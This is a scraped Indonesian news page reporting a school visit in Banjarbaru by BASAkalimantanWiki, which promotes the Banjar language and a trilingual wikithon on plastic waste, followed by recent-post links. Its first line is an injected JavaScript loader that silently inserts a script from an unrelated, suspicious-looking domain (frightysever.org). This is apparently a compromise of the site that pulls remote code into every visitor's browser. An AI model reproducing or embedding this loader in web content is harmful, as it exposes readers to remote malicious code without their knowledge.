(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

BASAkalimantanWiki ke SMK PGRI Banjarbaru, Ajak Berpartisipasi Masalah Sampah


KANALKALIMANTAN.COM, BANJARBARU – BASAkalimantanWiki, organisasi yang peduli pada pelestarian bahasa ibu dan masalah sosial kembali berkunjung ke sekolah. Kali ini ke SMK PGRI di Jalan Kebun Karet, Kelurahan Guntung Payung, Kota Banjarbaru, Selasa (29/10/2024) pagi.

Tim BASAkalimantanWiki yang datang terdiri dari HE Benyamine, Bumi Ibrahim, dan Dwitya Amanda.

HE Benyamin menyapa para peajar dengan memberikan pemahaman tentang pentingnya literasi, termasuk melestarikan bahasa ibu yakni bahasa Banjar yang merupakan program dari BASAkalimantanWiki.

“Sebagai orang Banjar kita mesti bangga. Karena bahasa Banjar menjadi bahasa pengantar atau lingua franca hampir di seluruh pulau Kalimantan,” ujar Bang Ben -biasa disapa-.

Baca juga: BREAKING NEWS: Pendulang Intan di Pumpung Cempaka Tertimbun

Disebutkan Bang Ben, kehadiran tim BASAkalimantanWiki ke sekolah-sekolah, salah satunya adalah mengingatkan kembali pentingnya mempertahankan bahasa Banjar sebagai bahasa ibu.

“Dan dalam program ini, kami mengadakan program Wikithon Partisipasi Publik, yakni melibatkan siswa bagaimana mengatasi masalah sampah plastik yang ditulis dalam bahasa Banjar, Indonesia, dan Inggris,” katanya di hadapan sekitar 200 siswa yang hadir.

Antusias siswa SMK PGRI Banjarbaru ketika dikunjungi tim BASAkalimantanWiki. Foto: basakalimantanwiki

Sementara, Dwitya lebih jauh menjelaskan, kegiatan yang didukung oleh Foundation Botnar dan Unilever ini bertujuan untuk mengunggah berupa tanggapan terhadap persoalan sampah plastik bersama foto di laman www.basakalimantanwiki.org.

Baca juga:Deklarasi Damai Pilkada HSU, Ini Pesan Wakapolda Kalsel

“Tanggapan kalian itu dibuat dalam tiga bahasa, yakni Banjar, Indonesia, dan Inggris. Tidak perlu panjang, yang penting jelas idenya. Dan untuk fotonya harus karya kalian sendiri,” jelas Dwitya.

Para siswa pun tampak antusias. Apalagi Wikithon Partisipasi Publik ini juga menyediakan hadiah jutaan rupiah bagi tanggapan atau komentar tentang sampah plastik yang dinilai bagus. (Kanalkalimantan.com/rls)

Reporter: rls
Editor: bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.